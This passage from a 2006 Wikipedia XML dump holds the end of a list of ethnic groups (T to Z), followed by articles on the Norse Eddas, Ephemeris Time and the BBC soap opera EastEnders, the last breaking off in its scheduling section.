*[[Tajiks|Tajik]] - specific ethnic group of [[central Asia]]
*[[Tajik (China)|Tajik]] - one of [[Nationalities of China|56 nationalities]] officially recognized by the [[People's Republic of China]]
*[[Taliang]]
*[[Tamil people|Tamil]] - [[Dravidian]] group widespread in [[Southern India]] and [[Sri Lanka]]
*[[Tanana]]
*[[Taos]]
*[[Tapuia]]
*[[Tarascan]]
*[[Tatars]] - [[Turkic people]]
*[[Tats]] - [[Dagestan]]i
*[[Tay (people)|Tay]]
*[[Tehuelche]]
*[[Tejano]] - [[Latino]] immigrants to [[Texas]]
*[[Teotihuacan]]
*[[Terena]]
*[[Tetons]] - [[Indigenous peoples of the Americas|Native Americans]] of the [[Rocky Mountains]] area
*[[Tewa]]
*[[Texan]]
*[[Thailand|Thai]] - southeast [[Asia]]
*[[Tharu]]
*[[Thin]]
*[[Tho]]
*[[Tibetan people|Tibetan]] - currently under [[China|Chinese]] rule, [[Central Asia]]
*[[Ticuna]]
*[[Tigre]] - [[Ethiopia]]
*[[Tigua]]
*[[Tlakluit]]
*[[Tlingit]] - [[Indigenous peoples of the Americas|Native Americans]] of the [[Pacific Northwest]]
*[[Tobago|Tobagonian]]
*[[Tohono O'odham]]
*[[Tokelau]]an - [[Polynesia]]n island chain in the [[Pacific Ocean]]
*[[Tolowa]]
*[[Toltec]] - [[Central America]]
*[[Tonkawa]]
*[[Tonga]]n - [[Polynesia]]n island chain in the [[Pacific Ocean]]
*[[Tongva]]
*[[Topachula]]
*[[Totonac]]
*[[Trinidad|Trinidadian]]
*[[Tsakhurs]] - [[Dagestan]]i
*[[Tsetsaut]]
*[[Tsimishian]] - [[Pacific Northwest]] [[Indigenous peoples of the Americas|Native Americans]]
*[[Shangaan|Tsonga]] - [[Southern Africa]]
*[[Tsuu T'ina]]
*[[Tswana]] - [[Southern Africa]] (see also [[Batswana]])
*[[Tualalip]]
*[[Tuareg]]
*[[Tujia]]
*[[Tukanoan]]
*[[Toucouleur|Tukolor]]
*[[Tulutni]]
*[[Tum]]
*[[Tumbuka]]
*[[Tungus]]
*[[Tunica-Biloxi]]
*[[Tupian]]
*[[Turkish people|Turks]] - [[Turkic people]] of [[Anatolia]] and [[Balkans|Southeastern]] [[Europe]]
*[[Turkmen people|Turkmen]] - [[Turkic people]] of [[Central Asia]]
*[[Tutchone]]
*[[Tutsi]] - of [[Rwanda]] and southern [[Africa]]
*[[Tuva]]n - [[Central Asia]]n group in [[Russia]]
*[[Tuvalu]]an - [[Polynesia]]n island chain in the [[Pacific Ocean]]
*[[Twa]]
*[[Tzigane]]

==U==
*[[Ubykh people|Ubykh]] - minority [[Northwest Caucasian]] people of Manyas, [[Turkey]]
*[[Uighur]] - large [[Turkic peoples|Turkic]] [[Muslim]] minority in [[China]]
*[[Ukrainians|Ukrainian]] - widespread [[Slavic people]] north of the [[Black Sea]], [[Ukraine]]
*[[Ulster-Scots]] descendants of Scots who migrated to [[Ulster]]
*[[Umatilla]]
*[[Umpqua (Native Americans)|Umpqua]]
*[[Upper Skagit]]
*[[Ute (tribe)|Ute]] - [[Indigenous peoples of the Americas|Native Americans]] of the [[Rocky Mountains]] area
*[[Uzbek]] - [[Turkic people]] of [[central Asia]], [[Uzbekistan]]

==V==
*[[Vacceos]] - ancient people group in Northern [[Spain]]
*[[Vaturanga]] - a people of the [[Guadalcanal (Pacific Ocean island)|Guadalcanal]]
*[[Venda]] - [[South Africa]]
*[[Vietnamese people|Vietnamese]] or [[Kinh]] or [[Jing]] or archaically [[Annamites]]- a people of South Mongolian origin living in Vietnam as the dominant majority.

==W==
*[[Wa]]
*[[Waccamaw]]
*[[Wailaki]]
*[[Welsh people|Welsh]] - [[Great Britain|British]] people of the west of [[Great Britain]]
*[[Walla Walla (ethnic group)|Walla Walla]]
*[[Wampanoag]]
*[[Wasco]]
*[[Washoe (tribe)|Washoe]]
*[[West Indies|West Indian]]
*[[White Mountain Apache]]
*[[Wichita (ethnic group)|Wichita]]
*[[Wintun]]
*[[Wiyot people|Wiyot]] - northern [[California]]
*[[Wolof people|Wolof]] - [[Senegal]] and elsewhere in western [[Africa]]
*[[Wyandot]]

==X==
*[[Xacriaba]]
*[[Xavante]]
*[[Xerente]]
*[[Xhosa]] - of South [[Africa]]
*[[Xibe]]
*[[Xinh Mun]]
*[[Xo Dang]]
*[[Xtieng]]
*[[Xucuru]]
*[[Xueda]]
==Y==
*[[Yae people|Yae]]
*[[Yakama]]
*[[Yakima]]
*[[Yakut]] - in eastern [[Russia]]
*[[Yang]]
*[[Yanomami]] - the [[Amazon River]] basin, [[Brazil]]
*[[Yao people|Yao]]
*Yavapai: [[Yavapai-Apache Nation]],  [[Yavapai-Prescott Indian Tribe]]
*[[Yawanawa]]
*[[Yezidi]]
*[[Yi]]
*[[Yocha-Dehe]]
*[[Yokut]]
*[[Yoruba]] - western [[Africa]]
*[[Yugur]]
*[[Yuki tribe|Yuki]] - [[Native Americans in the United States|Native Americans]] of northwestern [[California]]
*[[Yupik]]
*[[Quechan|Yuma]]
*[[Yumbri]]
*[[Yurok]]

==Z==
*[[Zaghawa]] of Northeast Africa.
*[[Zapotec]] - [[Central America]]
*[[Zaza]]
*[[Zeibeks]]
*[[Zhonghua minzu]] - Chinese pseudo-ethnic group.
*[[Zhuang]]
*[[Zomi]]
*[[Zulu]] - of southern [[Africa]]
*[[Zuni]] - of the southwestern [[United States]]

==See also==
*[[List of people by nationality]]
*[[List of indigenous peoples]]
*[[Indigenous peoples in the United States]]
*[[Indigenous peoples of the Americas]]
*[[Native Americans in the United States]]
*[[Alaska Natives]]
*[[Native Hawaiians]]
*[[Pacific Islanders]]
*[[Aboriginal peoples in Canada]]
*[[List of active autonomist and secessionist movements]]
*[[List of Chinese ethnic groups]], [[Ethnic groups in Chinese history]]
*[[Indigenous people of Brazil]]
*[[Indigenous cultures, kingdoms and ethnic groups of Senegal]]
*[[List of ethnic groups in Vietnam]]
*[[List of ethnic groups in Laos]]
*[[Northern indigenous peoples of Russia]]

[[Category:Culture lists|Ethnic groups]]
[[Category:Ethnic groups|*]]

[[be:Сьпіс этнасаў паводле сем'яў і групаў]]
[[bs:Spisak naroda svijeta]]
[[de:Liste von Ethnien]]
[[eo:Listo de etnoj]]
[[et:Rahvad ja hõimud]]
[[hr:Popis naroda]]
[[ru:Список народов мира]]
[[sh:Spisak naroda sveta]]
[[sl:Seznam ljudstev]]
[[sr:Списак народа света]]
[[uk:Список націй]]
[[zh:世界民族列表]]</text>
    </revision>
  </page>
  <page>
    <title>Edda</title>
    <id>9993</id>
    <revision>
      <id>41909665</id>
      <timestamp>2006-03-02T15:28:48Z</timestamp>
      <contributor>
        <username>Nolanuss</username>
        <id>379510</id>
      </contributor>
      <minor />
      <comment>[[cs:Edda]]</comment>
      <text xml:space="preserve">''This page refers to the Eddas, narrated folk-tales of Norse Mythology.  For Edda, the ancestress of serfs in the Rígsthula, see [[Ríg]]. For the Hungarian rock group, see [[Edda művek]].''

The '''Edda''' are collections of poetically narrated folk-tales relating to [[Norse Mythology]] or Norse heroes. These are fragmentary parts of a (presumably) much larger [[Skald|scaldic]] tradition of oral narration which has been written down by scholars prior to the tales being lost absolutely.

==Etymology==
There are a number of theories concerning the origins of the word ''edda''. One theory holds that it is identical to the word that seems to mean &quot;great-grandmother&quot;. (See  '''[[Ríg]]'''.) Another theory holds that edda means &quot;[[poetics]]&quot;. A third is that it means &quot;the book of Oddi&quot;, [[Oddi]] being the place where [[Snorri Sturluson]] was educated. 

==The Poetic Edda==
{{main|Poetic Edda}}
The '''Poetic Edda''', also known as  Sæmundar Edda or the Elder Edda, is a collection of [[Old Norse language|Old Norse]] poems from the [[Iceland|Icelandic]] mediaeval [[manuscript]] [[Codex Regius]]. Along with [[Prose Edda|Snorri's Edda]] the Poetic Edda is the most important source we have on [[Norse mythology]] and Germanic heroic legends. 

Codex Regius was written in the [[13th century]] but nothing is known of its whereabouts until [[1643]] when it came into the possession of [[Brynjólfur Sveinsson]], then Bishop of [[Skálholt]]. At that time versions of [[Prose Edda|Snorri's Edda]] were well known in Iceland but scholars speculated that there once was another Edda - an '''Elder Edda''' - which contained the [[Nordic religion|pagan]] poems Snorri quotes in his book. When Codex Regius was discovered it seemed that this speculation had proven correct. Brynjólfur attributed the manuscript to [[Saemund|Sæmundr the Learned]], a larger-than-life [[12th century]] Icelandic priest. While this attribution is rejected by modern scholars the name '''Sæmundar Edda''' is still sometimes encountered. 

Bishop Brynjólfur sent Codex Regius as a present to the Danish king, hence the name. For centuries it was stored in the [[Royal Library, Copenhagen|Royal Library]] in [[Copenhagen]] but in [[1971]] it was returned to Iceland.

==The Younger Edda==
{{main|Younger Edda}}
The Younger Edda, known also as the Prose Edda or Snorri's Edda is an [[Iceland|Icelandic]] manual of poetics which also contains many mythological stories. Its purpose was to enable [[Iceland]]ic poets and readers to understand the subtleties of [[alliterative verse]], and to grasp the meaning behind the many ''[[kenning]]s'' that were used in [[skaldic poetry]].  

It was written by the Icelandic scholar and historian [[Snorri Sturluson]] around [[1220]]. It survives in seven main manuscripts, written from about 1300 to about 1600.

The Prose Edda consists of three distinct sections: the [[Gylfaginning]] (c 20 000 words), the [[Skáldskaparmál]] (c 50 000 words) and the [[Háttatal]] (c 20 000 words).

==External links==
* [http://fax.libs.uga.edu/PT7234xE211/ The Elder Eddas and Younger Eddas], Eng. trans. by I. A. Blackwell, 1906 ''(a searchable facsimile at the University of Georgia Libraries; [[DjVu]] &amp; [http://fax.libs.uga.edu/PT7234xE211/1f/the_eddas.pdf layered PDF] format)''
* [http://www.cybersamurai.net/Mythology/nordic_gods/LegendsSagas/Edda/ProseEdda/ContentsIcelandic.htm Prose Edda in Old Norse]
* [http://www.cybersamurai.net/Mythology/nordic_gods/LegendsSagas/Edda/ProseEdda/ContentsEnglish.htm Prose Edda in English]
* [http://www.cybersamurai.net/Mythology/nordic_gods/LegendsSagas/Edda/PoeticEdda/Index.htm#ice Poetic Edda in Old Norse]
* [http://www.cybersamurai.net/Mythology/nordic_gods/LegendsSagas/Edda/PoeticEdda/Index.htm#en Poetic Edda in English]

{{NorseMythology}}

[[Category:Epics]]
[[Category:Medieval literature]]
[[Category:Sources of Norse mythology]]

[[cs:Edda]]
[[da:Edda digtene]]
[[de:Edda]]
[[el:Έντα]]
[[eo:Edda]]
[[fr:Eddas]]
[[es:Eddas]]
[[he:אדה]]
[[nl:Edda]]
[[pl:Edda]]
[[sv:Eddan]]
[[fi:Edda]]</text>
    </revision>
  </page>
  <page>
    <title>Ephemeris time</title>
    <id>9994</id>
    <revision>
      <id>24539314</id>
      <timestamp>2005-10-02T05:52:00Z</timestamp>
      <contributor>
        <username>YurikBot</username>
        <id>271058</id>
      </contributor>
      <minor />
      <comment>robot  Adding: id</comment>
      <text xml:space="preserve">'''Ephemeris Time''' ('''ET''') is a now obsolete time scale used in [[ephemerides]] of celestial bodies, in particular the [[Sun]] (as observed from the [[Earth]]), [[Moon]], [[planet]]s, and other members of the [[solar system]].  This is distinct from [[Universal Time]] ('''UT'''): the time scale based on the rotation of the Earth around its axis. ET was replaced with the two time scales [[Terrestrial Dynamical Time]] (TDT) and [[Barycentric Dynamical Time]] (TDB) by the [[International Astronomical Union]] (IAU) in [[1976]]&amp;mdash;TDT was renamed [[Terrestrial Time]] (TT) in [[1991]].

In the late 19th century it was found that the rotation of the Earth (''i.e.'' the length of the [[day]]) was both irregular on short time scales, and was slowing down on longer time scales.  In fact, observing the position of the Moon, Sun and planets and comparing this with their ephemerides was a better way to determine the time.

Using the ephemerides based on the theory of the apparent motion of the Sun by [[Simon Newcomb]] (1898), the [[SI]] [[second]] was defined in 1960 as:

:1 / 31556925.9747 part of the average length of the [[tropical year]] at the [[epoch (astronomy)|epoch]] [[J1900]].

[[Caesium]] [[atomic clocks]] became operational in [[1955]], and quickly made it evident that the rotation of the earth fluctuated randomly. This confirmed the utter unsuitability of the mean solar second of Universal Time as a measure of time interval. After three years of comparisons with lunar observations it was determined that the ephemeris second corresponded to 9192631770 cycles of the cesium resonance. In 1960 the length of the [[SI ]] second was defined to be equal to the ephemeris second until [[1984]].

As the theoretical basis for Ephemeris Time is wholly non-relativistic, in [[1976]] the IAU resolved that beginning in [[1984]] ET would be replaced by the two relativistic timescales[[ Barycentric Dynamical Time]] (TDB) and [[Terrestrial Dynamical Time]] (TDT). For practical purposes the length of the ephemeris second can be taken as equal to the length of the TDB or TDT second.

The difference between ET and UT is called [[Delta T|&amp;Delta;T]]; it increases irregularly with about half a second per year.  [[International Atomic Time]] (TAI) was set equal to [[Universal Time|UT2]] at 1 January 1958 0:00:00 .  At that time, [[Delta T|&amp;Delta;T]] was already about 32.18 seconds.  The difference between ''[[Terrestrial Time]] (TT)'' (the successor to ephemeris time) and atomic time was later defined as follows:

:1977 January 1.0003725 TT = 1977 January 1.0000000 TAI, ''i.e.''

:ET - TAI = 32.184 seconds

This difference may be assumed constant, the rates of TT and TAI are designed to be identical.

=== References ===

* P.K.Seidelmann (ed.), ''Explanatory Supplement to the Astronomical Almanac.''  University Science Books, CA, 1992 ; ISBN 0-935702-68-7

[[Category:Time scales]]

[[id:Waktu Ephemeris]]
[[ru:Эфемеридное время]]</text>
    </revision>
  </page>
  <page>
    <title>EastEnders</title>
    <id>9995</id>
    <revision>
      <id>42104416</id>
      <timestamp>2006-03-03T21:28:29Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>/* Setting */ dab Prince Albert</comment>
      <text xml:space="preserve">{{infobox television |
  | show_name = EastEnders
  | image = [[Image:EastEnders_CM.gif|center|250px]]
  | caption = The current opening title of ''EastEnders'' (introduced on [[5 September]] [[1999]]), which was originally developed by a series of pictures.
  | format = [[Soap opera]]
  | runtime = 30 [[minute|min]] per episode
  | creator = [[Julia Smith]] &amp; [[Tony Holland]]
  | starring  = ([[List of characters from EastEnders|Present cast]])&lt;/br&gt;[[Derek Martin]] - [[Lacey Turner]] - [[Ricky Groves]] - [[Laila Morse]] - [[Kacey Ainsworth]] - [[Perry Fenwick]] - [[Wendy Richard]] - [[James Alexandrou]] - [[Natalie Cassidy]] - [[John Bardon]] - [[June Brown]] - [[Rudolph Walker]] - [[Angela Wynter]] - [[Joel Beckett]] - [[Gerry Cowper]] - [[Charlie G. Hawkins]] - [[David Spinx]] - [[Joe Swash]] - [[Shana Swash]] - [[Pam St Clement]] - [[Adam Woodyatt]] - [[Laurie Brett]] - [[Melissa Suffield]] - [[James Martin (actor)|James Martin]] - [[Mohammed George]] - [[Billy Murray (actor)| Billy Murray]] - [[Petra Letang]] - [[Ray Brooks]] - [[Barbara Windsor]] - [[Joseph Kpobie]] - [[Emma Barton]] - [[Cliff Parisi]] - [[Kara Tointon]] - [[Jade Sharif]] - [[Matt Di Angelo]] - [[Charlie Clements]] -  [[Tom Ellis]] - [[Phil Daniels]] - [[Kellie Shirley]] - [[Dave Hill (actor)|Dave Hill]] - [[Nicky Henson]]
  | country = [[United Kingdom]]
  | network = [[BBC One]]
  | first_aired = [[19 February]] [[1985]]
  | last_aired = Present
  | num_episodes = 3111 (as of [[3 March]] [[2006]])
  | imdb_id = 0088512 
  |}}

'''''EastEnders''''' is a popular [[BBC]] [[television]] [[soap opera]] which was first broadcast on [[19 February]] [[1985]]. It has been running ever since, generating strong viewing figures for much of that time, and has been the [[United Kingdom|UK]]'s highest-rating programme on numerous occasions. Despite lengthy criticism of the show from the critics, in [[October 2005]] it won the prestgious [[National Television Award]] for most popular Serial Drama which ''EastEnders'' has won several consecutive times in the past ten years. 

==Setting and characters==
===Setting===
''EastEnders'' is set in the fictional [[Walford|London Borough of Walford]], however the central focus of the show is that of the equally fictional Victorian square named [[Albert Square]]. 

The show's creators were both [[London]]ers, but when they researched Victorian Squares they found massive changes in areas they thought they knew well. However, delving further into the East End, they found exactly what they had been searching for. A real East End spirit — an inward looking quality, a distrust of strangers and authority figures, a sense of territory and community that the creators summed up as 'Hurt one of us and you hurt us all'. These themes that were found for the setting can still be found in a present day episode of ''EastEnders''.

[[Image:QueenVic_EE.gif|left|thumb|225px|The Queen Vic provides a central meeting point within the show's setting, thus most of the action happens here in view of the community.]]

It is thought that Albert Square was built around the early 20th century, indeed heavy research was done by the show's creators to support this. Firstly, the square is named Albert Square after [[Prince Albert of Saxe-Coburg and Gotha|Prince Albert]], the late husband of [[Victoria of the United Kingdom|Queen Victoria]], who then went on to die in 1901. Thus, central to Albert Square is [[The Queen Vic|The Queen Victoria Public House]].

But as the set was built in the early eighties, it had to be made to look as if it had been standing for years and years. This was done by a number of means, including chipping at the buildings with [[pickaxe|pickaxes]].

The ''EastEnders'' lot was built and designed by Keith Harris, who was a senior designer within the production team. Then in 1986 he added an extension to the set, building the fourth side of Albert Square and in 1987 Turpin Road was added which included buildings such as [[The Dagmar]].

In 1993, George Street was added, and soon after, Walford East tube station was built.

In the past, fans have tried to establish the actual location of Walford within London. [[Walford East]], is a fictional tube station for Walford, with the aid of a map that was first seen on air in 1996, it has been established that Walford East is located between Bow Road and [[West Ham]], which realistically would replace [[Bromley-by-Bow]].

Walford has the fictional postal district of [[London E20|E20]], thus fans have also tried to pinpoint the location using this, however, realistically London East postal districts stop at E18, the show's creators opted for E20 instead of E19 as it was thought to sound better.

The strongest claim to being the 'real' Albert Square is held by [[Broadway Market]] in [[Hackney]], a short pedestrianised road that features a weekly market and established street vendors. The postcode for the area &quot;E8&quot; was one of the working titles for the series.

In reality, an Albert Square does exist in the East End, in [[Stratford, London|Stratford]]. However, the show's producers actually based the square's design on the real life 'Fassett Square' in the East End. It is rumoured that the fictional borough of Walford was named after the areas of London that the creators hailed from - [[Walthamstow]] and Stratford.

===Characters===
''EastEnders'' was built around the ideas of &quot;clans&quot; of strong families and each character having a place in the community. Co-creator [[Tony Holland]] was himself from a large East End family and such families have typified ''EastEnders''. The first central family was the Fowlers, consisting of [[Pauline Fowler|Pauline]], [[Arthur Fowler|Arthur]], [[Mark Fowler|Mark]], Michelle and also the closely related Beale family - [[Pete Beale|Pete]], Lou and [[Ian Beale|Ian]]. Tony Holland drew on the names of his own family for his characters.

The Watts and Mitchell families have been central to most of the notable ''EastEnders'' storylines and [[Peggy Mitchell]] in particular is notorious for her ceaseless repetition of such statements as &quot;You're a Mitchell&quot;. The 2000s saw a new focus on the largely female Slater clan before the return of emphasis to the Watts and Mitchell families. Key people involved in the production of ''EastEnders'' have stressed how important this idea of strong families is to ''EastEnders''.

Some families feature an stereotypical East End [[matriarch]] such as Lou Beale, Pauline Fowler, [[Mo Harris]] and [[Peggy Mitchell]]. These characters are seen as being loud and interfering but most importantly, responsible for the well-being of the family and usually stressing the importance of family, reflecting on the past.

Another recurring character type is the smartly dressed businessman, often involved in crime, who is seen as a local authority figure. Examples include [[Den Watts]], [[James Wilmott-Brown]], [[Steve Owen]], [[Andy Hunter]] and [[Johnny Allen (EastEnders)|Johnny Allen]].

{{seealso|List of characters from EastEnders}}

==Social realism==
In the [[eighties]], ''EastEnders'' featured gritty storylines involving drugs and crime, representing the issues faced by working-class Britain much as ''Coronation Street'' did in the 1960s.

However ''EastEnders'' has for the most part remained a populist series and has generally avoided the arguably tougher stories of ''[[Brookside]]''. ''Brookside'' had also launched as a social realist drama, leading the way for more conservative soaps like ''EastEnders'' to follow. Arguably the difference between them was whilst ''Brookside'' confronted issues it was more [[sensationalist]] and ''EastEnders'' tried to maintain [[realism (arts)|realism]].

The programme makers emphasised that it was to be about 'everyday life' in the inner city 'today' and regard it as a 'slice of life'. Creator/ producer Julia Smith declared that 'we don't make life, we reflect it'. She also said: ‘We decided to go for a realistic, fairly outspoken type of drama which could encompass stories about homosexuality, rape, unemployment, racial prejudice, etc., in a believable context. Above all, we wanted realism’.

Such storylines include Sue and Ali’s baby's [[cot death]], Nick Cotton's [[homophobia]], the rape of Kathy Beale in 1988, Michelle Fowler's [[teenage pregnancy]], [[drug dealing]], [[prostitution]], mixed-race relationships, [[shoplifting]], [[sexism]], [[racism]], divorce and muggings.

As the show progressed into the [[nineties]] ''EastEnders'' still featured hard-hitting issues such as [[Mark Fowler]] discovering he was [[HIV positive]] in 1991 and the death of Gill, murder, adoption, [[alcoholism]] and [[domestic violence]].

In the early 2000s, ''EastEnders'' covered the issue of [[euthanasia]] with long-established characters [[Ethel Skinner]] and [[Dot Cotton]], [[Kat Moon|Kat Slater's]] abuse by her uncle Harry as a child, the domestic abuse of [[Little Mo|Little Mo Slater]] by husband Trevor, Sonia giving birth at the age of fifteen and then putting the baby up for adoption, prostitution, [[agoraphobia]] and drugs.

Aside from this soap opera staples of youthful romance, jealousies, domestic rivalries, kitchen disasters, gossip, community fund-raising events and extra-marital affairs are regularly featured.

==History and popularity==
===Background===
''EastEnders'' was launched at a critical moment in the BBC’s history and was intended to demonstrate the BBC’s ability to produce popular programming. It started airing on the night after a major ident change for the channel, with the show representing the &quot;new face&quot; of the BBC. Critics first derided the new offering, as it was clear that BBC wished to bridge the gap between the network and its competitor, [[ITV]]. One news source went as far as to accuse the channel of only having the guts to air the soap after [[Patricia Phoenix]], arguably Britain's premier soap diva, left ''[[Coronation Street]]''.

It was the brass at BBC who had the last laugh, however, as ''EastEnders'' became wildly popular and displaced ''Coronation Street'' from the top of the ratings for the rest of the 1980s and 1990s and partly the 2000s.

===History===
In February 1983, two years before ''EastEnders'' hit the screen, the show was nothing more than a vague idea in the mind of a handful of BBC executives, who decided that what [[BBC One]] needed was a popular bi-weekly drama series that would attract the kind of mass audiences ITV was getting with ''Coronation Street''.

The first people to whom David Reid, then head of series and serials, turned were [[Julia Smith]] and Tony Holland, a well established producer/[[script editor]] team who had first worked together on ''[[Z-Cars]]''. The outline that Reid presented was vague: two episodes a week, 52 weeks a year. Smith and Holland then went about putting ideas down on paper, they decided it would be set in the East End of London.

There was anxiety at first that the viewing public would not accept a new soap set in the south of England, though research commissioned by lead figures in the BBC had revealed southerners would accept a northern soap, northerners would accept a southern soap and those from the [[Midlands]], as Julia Smith herself pointed out, didn’t mind where it was set as long as it was somewhere else. This was the beginning of a close and continuing association between ''EastEnders'' and audience research, which though commonplace today was something of a revolution in practice.

When developing ''EastEnders'', both Julia Smith and Tony Holland looked at influential models like ''Coronation Street'', but they found that it offered a rather outdated and nostalgic view of working-class life. Only after ''EastEnders'' begun did ''Coronation Street'' start to feature black people for example. They also identified that it has had difficulty in replacing 'big' characters such as Len Fairclough and Elsie Tanner, something which is arguably still present to this day, with the exit of Karen McDonald.

They came to the conclusion that ''Coronation Street'' had grown old with its audience, and that ''EastEnders'' would have to attract a younger, more socially extensive audience ensuring that it had the longevity to retain it for many years thereafter.

They also looked at ''Brookside'' but found there was a lack of  central meeting points for the characters, making it difficult for the writers to intertwine different storylines.

The target launch date was originally September 1984 but this was postponed due to [[Michael Grade]] - the new controller of BBC One - preferring a January start. Julia Smith and Tony Holland had just 11 months in which to write, cast and shoot the whole thing. However, in February 1984 they didn't even have a title or a place to film. The project had a number of working titles  &amp;mdash; ''Square Dance'', ''Round the Square'', ''Round the Houses'', ''London Pride'', ''East 8.'' It was the latter that stuck (E8 is the [[UK postcodes|postcode]] for [[Hackney]]) in the early months of creative process.

After they decided on the filming location (BBC Elstree Studios in [[Hertfordshire]]), Smith and Holland set about creating the 24 characters needed in just 14 days. Once they decided on these they returned to London for a meeting with the BBC. Everyone was in agreement, ''East 8'' was to be tough, violent on occasion, funny and sharp - and it would start with a bang.

Through the next few months, the set was growing rapidly at Elstree, and a composer and designer had been commissioned to create the title sequence. [[Simon May]] (music) and Alan Jeapes (visuals) created it, and it remains one of the strongest title clips in television.

The launch was delayed for a second time until February 1985 due to a delay in the chat show ''Wogan'', that was to be a part of the major revamp in BBC One's schedules. Julia Smith was uneasy about the late start as ''EastEnders'' no longer had the winter months to build up a loyal following before the summer ratings lull. The press were invited to see Elstree and meet the cast and see the lot - and stories immediately started circulating about the show, about a rivalry with [[ITV]] (who were launching their own market-based soap, ''[[Albion Market]]'') and about the private lives of the cast. Anticipation and rumour grew in equal measure until the first transmission at 7pm on [[19 February]] [[1985]]. Both Holland and Smith could not watch, they both instead returned to the place where it all began. The next day viewing figures were confirmed at 17 million. The reviews were largely favourable, although after three weeks on air, BBC One's early evening share had returned to the pre-''EastEnders'' figure of 7 million, though ''EastEnders'' then climbed to highs of up to 23 million later on in the year.  Following the launch, both group discussions and telephone surveys were conducted to test audience reaction to early episodes. Detailed reactions were taken after six months and since then regular monitoring has been conducted

Press coverage, already intense, went into overdrive. Within weeks the headline they had all dreaded had appeared &amp;mdash; EASTENDERS STAR IS A KILLER. This referred to [[Leslie Grantham]], and set the tone for relations between [[Albert Square]] and the press for the next 20 years. By Christmas of 1985, the tabloids couldn't get enough of the show. 'Exclusives' about ''EastEnders'' storylines became a staple of tabloid buyers daily reading.

A precursor in UK soaps also set in a East End market was [[Associated TeleVision|ATV]]'s ''[[Market in Honey Lane]]'' between 1967 and 1969.

===Popularity===
As mentioned,  ''EastEnders'' proved highly popular and Appreciation Indexes reflected this, rising from 55–60 at the launch to 85–5 later on, a figure which was nearly ten points higher than the average for British soap opera. Research suggested that people found the characters true to life, the plots believable and, importantly in the face of criticism of the content, people watched as a family and regarded it as viewing for all the family.

In the Christmas of 1986, it attracted a massive 30.15 million viewers who tuned in to see Den Watts hand over divorce papers to wife Angie. This remains the highest rated episode of a soap in British television history.

''EastEnders'' is one of the more popular programmes on [[British television]] and regularly attracts between 9 and 13 million viewers, while the show's ratings have fallen since its initial surge in popularity, the programme continues to be largely lucrative for the BBC. 

Its main rival for ratings is usually ''Coronation Street''. In order to maximise ratings the BBC and ITV are usually careful to avoid scheduling clashes between their flagship soaps. In 2001 however, the soaps clashed for the first time. ''EastEnders'' won the battle with 8.4 million viewers (41% share) whilst ''Coronation Street'' lagged behind with 7.3 million viewers (36% share).

On [[21 September]] [[2004]] [[Louise Berridge]], the then executive producer, quit following criticism of the show. The following day the show received its lowest ever ratings (6.2 million) when ITV scheduled an hour long episode of its usually less-popular soap, ''[[Emmerdale]]'' against it. ''Emmerdale'' was watched by 8.1 million people. However, ''EastEnders'' was at a disadvantage as ''Emmerdale'' had began half an hour earlier, and the press were reporting viewers were bored with implausible and ill thought out storylines. [[Kathleen Hutchison]] who had been the producer of hospital drama ''[[Holby City]]'', was announced as the new executive producer. And within a few weeks later the producers announced a major shake-up of the cast with the highly-criticised Ferreira family, first seen in June 2003, set to leave at the beginning of 2005. Kathleen Hutchison went on to axe Den Watts, Andy Hunter, Juley Smith and Derek Harkinson. Whilst she was there she set about reversing the previous executive producer's work. It indicated a fresh start for ''EastEnders'' after declining ratings in 2004.  

But in January 2005, after just four months it was the end for Kathleen Hutchison. [[John Yorke]] who led ''EastEnders'' through what [[Mal Young]] (the then head of BBC drama) said was one of its most successful periods in 2001, returned to the BBC as the head of drama, meaning his responsibilities included the running of ''EastEnders''. He also brought back long serving script writer [[Tony Jordan]]. It is reported that the cast and crew did not get on well with Kathleen Hutchison as she had them filming up to 12am. She is also said to have torn up many of the scripts that were planned and demanded re-writes. This was one of the reasons storylines such as the 'Real Walford' football team were suddenly ignored. But through her short reign she led ''EastEnders'' to some of its most healthy viewing figures in months.

John Yorke immediately stepped into her position until a few weeks later when [[Kate Harwood]] was announced as the new executive producer.

In autumn of 2005, ''EastEnders'' had seen its average audience share increase, with the unearthing of Den Watts' body and the marriage of Sharon and Dennis. Weeks after this, ITV again scheduled episodes of ''Emmerdale'' against ''EastEnders''. The episode of ''Emmerdale'', which saw the departure of one of its more popular characters, attracted 8.3 million viewers leaving ''EastEnders'' with 6.6 million for the funeral of Den Watts. However, this indirectly helped increase the audience of digital channel BBC Three as 1 million (10% share) tuned in to see the second showing.

However, the battle between ''EastEnders'' and ''Emmerdale'' saw ''EastEnders'' come out on top with 200,000 more viewers on the 1st December 2005.

==Viewership==
Based on market research by BBC commissioning in 2003, ''EastEnders'' is most watched by 16 - 24 year olds, closely followed by 25 - 34 year olds.  An average ''EastEnders'' episode attracts a total audience share between 45% and 50%.

Aside from that, the 10pm repeat showing on ''[[BBC Three]]'' attracts an average of 500,000 viewers, whilst the Sunday omnibus attracts a further 3 million. 

Ever since ''EastEnders'' began on the mainstream [[BBC One]], it has achieved some of the highest audiences in British television history.

The launch show attracted 17 million viewers in the 1980s, this was perhaps helped by the amount of press attention it received, something which continues today.

In 1986, just under two years since it had been on air, ''EastEnders'' attracted 30.15 million viewers, for the Christmas episode in which Den handed a divorce letter to wife Angie. This was its largest audience ever, the largest amount of viewers for a soap episode, the 4th largest audience for a British television channel ever and the highest television audience for a single channel of the 1980s.

In comparison, the smallest amount for an ''EastEnders'' episode was around 6.2 million in 2004, higher than the lowest of its rivals ''Coronation Street'' and ''Emmerdale''.

Despite a decade and a half of high ratings it was most popular in the early 2000s, attracting an average of 15 million for most episodes and peaks of upto 25 million for the climaxes of popular storylines. Sonia's shock birth in 2000 was watched by 19.3 million viewers and in 2001, Mel's marriage to Steve Owen was watched by 22.5 million viewers. ''EastEnders'' was perhaps at its least popular in the year 2004, its lowest ever audience share was 28% in early 2005.

===Scheduling===
For the past 20 years ''EastEnders'' has remained at the centre of BBC One's primetime schedule. 

''EastEnders'' is currently aired at 7.30 p.m. on Tuesday &amp; Thursday and 8.00 p.m. on Monday and Friday, the [[omnibus (broadcast)|omnibus]] is aired on Sunday, though the exact time differs.

